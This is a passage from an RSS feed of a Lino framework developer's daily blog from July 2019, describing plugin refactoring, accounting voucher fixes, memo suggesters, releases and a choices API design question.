(bootstrap3 should depend on core, not the opposite).&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0710.html</guid><pubDate>Wed, 10 Jul 2019 00:00:00 +0000</pubDate></item><item><title>Monday, July 8, 2019</title><link>https://luc.lino-framework.org/blog/2019/0708.html</link><description>&lt;section id="monday-july-8-2019"&gt;
&lt;h1&gt;Monday, July 8, 2019&lt;a class="headerlink" href="#monday-july-8-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I pushed my work on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3110"&gt;#3110&lt;/a&gt; (convert memo parser to a plugin):&lt;/p&gt;
&lt;p&gt;A new plugin &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.memo.html#module-lino.modlib.memo" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.memo&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; regroups functionality which until now
was dispersed in &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.mixins.bleached&lt;/span&gt;&lt;/code&gt;, &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.utils.memo&lt;/span&gt;&lt;/code&gt; and
&lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/utils/soup.html#module-lino.utils.soup" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.utils.soup&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.mixins.bleached.BleachedPreviewBody&lt;/span&gt;&lt;/code&gt; model mixin has been
replaced by &lt;a class="reference external" href="https://dev.lino-framework.org/specs/memo.html#lino.modlib.memo.Previewable" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.memo.Previewable&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.comments.html#module-lino.modlib.comments" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, &lt;a class="reference external" href="https://dev.lino-framework.org/specs/comments.html#lino.modlib.comments.Comment" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Comment&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; needs a database migration
because instead of a single field &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;body_preview&lt;/span&gt;&lt;/code&gt; it now has two fields
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/comments.html#lino.modlib.comments.Comment.short_preview" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;short_preview&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;full_preview&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Summary of above changes also in &lt;a class="reference external" href="https://dev.lino-framework.org/changes/2019.html#lino-changes-2019" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-ref"&gt;lino.changes.2019&lt;/span&gt;&lt;/a&gt;.  The documentation
needs more work, but the book builds.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0708.html</guid><pubDate>Mon, 08 Jul 2019 00:00:00 +0000</pubDate></item><item><title>Saturday, July 6, 2019</title><link>https://luc.lino-framework.org/blog/2019/0706.html</link><description>&lt;section id="saturday-july-6-2019"&gt;
&lt;h1&gt;Saturday, July 6, 2019&lt;a class="headerlink" href="#saturday-july-6-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I started working on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3110"&gt;#3110&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;lino.mixins.bleached becomes lino.modlib.memo.mixins&lt;/p&gt;
&lt;p&gt;lino.utils.memo becomes lino.modlib.memo.utils&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0706.html</guid><pubDate>Sat, 06 Jul 2019 00:00:00 +0000</pubDate></item><item><title>Thursday, July 4, 2019</title><link>https://luc.lino-framework.org/blog/2019/0704.html</link><description>&lt;section id="thursday-july-4-2019"&gt;
&lt;h1&gt;Thursday, July 4, 2019&lt;a class="headerlink" href="#thursday-july-4-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="optimizations-for-cosi"&gt;
&lt;h2&gt;Optimizations for &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#cosi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Così&lt;/span&gt;&lt;/a&gt;&lt;a class="headerlink" href="#optimizations-for-cosi" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I did a set of optimizations for &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#cosi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Così&lt;/span&gt;&lt;/a&gt; (after a jitsi session with mm
yesterday).&lt;/p&gt;
&lt;p&gt;The duplicate action didn’t work on registered vouchers (&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.Voucher" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Voucher&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;). And the
and the general behaviour after duplicating a voucher was irritating.&lt;/p&gt;
&lt;p&gt;Now the &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.Voucher.number" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;number&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is set to the next
available number and &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.Voucher.entry_date" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;entry_date&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
to today.&lt;/p&gt;
&lt;p&gt;General changes for all duplicate actions: The
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.mixins.clonable.Duplicate&lt;/span&gt;&lt;/code&gt; action now calls &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;full_clean()&lt;/span&gt;&lt;/code&gt;
on the newly created copy. And it is now readonly (e.g. also callable on a
registered voucher).&lt;/p&gt;
&lt;p&gt;In &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/vat.html#lino_xl.lib.vat.InvoicesByJournal" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;InvoicesByJournal&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; the grid layout was still using
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.Voucher.voucher_date" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;voucher_date&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; instead of
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;entry_date&lt;/span&gt;&lt;/code&gt;.  The default behaviour in
&lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#cosi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Così&lt;/span&gt;&lt;/a&gt; is to use only entry_date because this is what counts for accounting.&lt;/p&gt;
&lt;p&gt;Added an &lt;a class="reference external" href="https://dev.lino-framework.org/specs/uploads.html#lino.modlib.uploads.UploadsByController" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;UploadsByController&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
panel to the detail layout of &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/finan.html#lino_xl.lib.finan.BankStatement" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;BankStatement&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-std" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;std&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; fixture of &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.accounting.html#module-lino_xl.lib.accounting" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now creates an upload
type “source document”. Note that &lt;code class="xref py py-data docutils literal notranslate"&gt;&lt;span class="pre"&gt;UPLOADTYPE_SOURCE_DOCUMENT&lt;/span&gt;&lt;/code&gt; is 4 in order to avoid
duplicate keys in &lt;a class="reference external" href="https://welfare.lino-framework.org/api/index.html#weleup" title="(in Lino Welfare)"&gt;&lt;span&gt;The Eupen variant of Lino Welfare&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="fine-tuning-the-memo-suggester"&gt;
&lt;h2&gt;Fine-tuning the memo suggester&lt;a class="headerlink" href="#fine-tuning-the-memo-suggester" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I fixed a error occuring when there were no suggesters defined.&lt;/p&gt;
&lt;p&gt;The parser now makes a pattern clickable without adding the full text and with
setting a title for the link so that the text is shown when the mouse hovers
over the link.  I also wrote a new specs page &lt;a class="reference external" href="https://dev.lino-framework.org/apps/noi/suggesters.html#specs-noi-suggesters" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Suggesters in Lino Noi&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;TODO:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;the auto-completer might insert the full text into the editor after the
pattern. The user can then decide whether to leave it or not.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The memo commands might also be defined as suggesters with a trigger of type
“[ticket “. Note that in that case we need to add a new attribute “suffix”
which would be empty for # and &amp;#64; but “]” for memo commands.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="more-intuitive-open-in-own-window-button"&gt;
&lt;h2&gt;More intuitive open-in-own-window button&lt;a class="headerlink" href="#more-intuitive-open-in-own-window-button" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I did some more attempts to get this working. No success yet.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="releases"&gt;
&lt;h2&gt;Releases&lt;a class="headerlink" href="#releases" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I released Lino 19.7.2 and XL 19.7.2 to PyPI and upgraded our own &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#cosi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Così&lt;/span&gt;&lt;/a&gt;
production site.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0704.html</guid><pubDate>Thu, 04 Jul 2019 00:00:00 +0000</pubDate></item><item><title>Wednesday, July 3, 2019</title><link>https://luc.lino-framework.org/blog/2019/0703.html</link><description>&lt;section id="wednesday-july-3-2019"&gt;
&lt;h1&gt;Wednesday, July 3, 2019&lt;a class="headerlink" href="#wednesday-july-3-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="optimizations-for-cosi"&gt;
&lt;h2&gt;Optimizations for &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#cosi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Così&lt;/span&gt;&lt;/a&gt;&lt;a class="headerlink" href="#optimizations-for-cosi" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I tried to find a solution for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3101"&gt;#3101&lt;/a&gt; (More intuitive data entry for
voucher content). When you created a voucher (invoice, bank statement, …) it
is difficult to guess that you must now click the “show in own window” button
on the content panel in order to continue.&lt;/p&gt;
&lt;p&gt;A simple solution seems to have that button immediately behind the panel’s
title instead of in the far right corner.   Similar to the button in the
dashboard.  To implement this, we need to introduce a way to dynamically set
the panel title.  This seems related to &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3082"&gt;#3082&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;One side effect is that I moved some code from
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.dashboard.html#lino.core.dashboard.DashboardItem.render_request" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.dashboard.DashboardItem.render_request()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; into a new method
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;open_in_own_window_button&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I used the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;sum_text_column&lt;/span&gt;&lt;/code&gt; of
bank statements because the total text of their content panel looked so silly
that I made two screenshots before and after and wrote some developer docs
about. See &lt;a class="reference external" href="https://dev.lino-framework.org/dev/format.html#dev-actors-sums" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Showing, hiding and formatting sums&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Some optimizations in the &lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-minimal_ledger" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;minimal_ledger&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; fixture for
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.accounting.html#module-lino_xl.lib.accounting" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A list GET now sets a new response attribute &lt;cite&gt;title_url&lt;/cite&gt; parameter (only in
extjs… this code should get generalized).  Not yet used.  Not definitive.&lt;/p&gt;
&lt;p&gt;The challenge here is that there is (by design) no separate Ajax call for each
HtmlBoxPanel, so when showing the slave table as html we would need another
field (e.g. htmlbox name suffixed “_title”) to set the panel’s title
dynamically)&lt;/p&gt;
&lt;p&gt;One visible result: the “list” part in the breadcrumbs for a detail window is
now clickable. New method &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.requests.Request.get_breadcrumbs()&lt;/span&gt;&lt;/code&gt;.
At least one issue: it forgets manually changed filter params.&lt;/p&gt;
&lt;p&gt;I released Lino 19.7.1 and XL 19.7.1 to PyPI (for upgrading our own &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#cosi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Così&lt;/span&gt;&lt;/a&gt;
production site).&lt;/p&gt;
&lt;p&gt;I optimized column layout of &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/finan.html#lino_xl.lib.finan.ItemsByJournalEntry" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.finan.ItemsByJournalEntry&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I wrote a new page of end-user documentation in German:
&lt;a class="reference external" href="http://de.cosi.lino-framework.org/ledger/opening.html"&gt;http://de.cosi.lino-framework.org/ledger/opening.html&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0703.html</guid><pubDate>Wed, 03 Jul 2019 00:00:00 +0000</pubDate></item><item><title>Tuesday, July 2, 2019</title><link>https://luc.lino-framework.org/blog/2019/0702.html</link><description>&lt;section id="tuesday-july-2-2019"&gt;
&lt;h1&gt;Tuesday, July 2, 2019&lt;a class="headerlink" href="#tuesday-july-2-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="seeing-how-much-we-work"&gt;
&lt;h2&gt;Seeing how much we work&lt;a class="headerlink" href="#seeing-how-much-we-work" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I added a new model &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;UserSummary&lt;/span&gt;&lt;/code&gt; to
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.working&lt;/span&gt;&lt;/code&gt;. Similar to &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.working.SiteSummary&lt;/span&gt;&lt;/code&gt;, but per user instead of per site and monthly instead of yearly.&lt;/p&gt;
&lt;p&gt;I would like to have these numbers more visible so we can talk about them in
evaluation meetings. I continue to believe in our team policy of paying fixed
monthly wage independently of worked hours.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0702.html</guid><pubDate>Tue, 02 Jul 2019 00:00:00 +0000</pubDate></item><item><title>Monday, July 1, 2019</title><link>https://luc.lino-framework.org/blog/2019/0701.html</link><description>&lt;section id="monday-july-1-2019"&gt;
&lt;h1&gt;Monday, July 1, 2019&lt;a class="headerlink" href="#monday-july-1-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I reviewed the “license” field of all projects to use “BSD-2-Clause” (an &lt;a class="reference external" href="https://spdx.org/licenses/"&gt;SPDX
identifier&lt;/a&gt;) as suggested by Cyril Roelandt.
Thanks, Cyril.&lt;/p&gt;
&lt;p&gt;TODO: In some projects the file containing the full licence text is named
LICENSE, in some others it is COPYING.&lt;/p&gt;
&lt;section id="review-the-choices-api"&gt;
&lt;h2&gt;Review the choices API&lt;a class="headerlink" href="#review-the-choices-api" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I started a ticket &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3097"&gt;#3097&lt;/a&gt; because we still don’t have a clear vision
about how the URL for the # and &amp;#64; suggesters should look like.  When the editor
sees a pattern which triggers an auto-complete action, it must request a list
of suggestions.  And this list is not the same for every # or &amp;#64;, it also
depends on the view (actor), the database object, the field, the query string
(i.e. the search string already entered by the user), the permissions of the
user, …&lt;/p&gt;
&lt;p&gt;The problem is related to some other tickets:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/56"&gt;#56&lt;/a&gt; (choosers don’t know the requesting user)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/86"&gt;#86&lt;/a&gt; (allow choosers to filter by master key)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/2914"&gt;#2914&lt;/a&gt; (pass the action request to choosers)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let’s examine what happens when the user wants to select a value in the
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/tickets.html#lino_xl.lib.tickets.Ticket.assigned_to" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.tickets.Ticket.assigned_to&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; field:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;GET /choices/tickets/ActiveTickets/assigned_to?query=&amp;amp;start=0
GET /choices/tickets/Tickets/assigned_to?_dc=1561963175048&amp;amp;start=0&amp;amp;limit=20&amp;amp;query=
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Instead of saying “/choices/…” (i.e. crea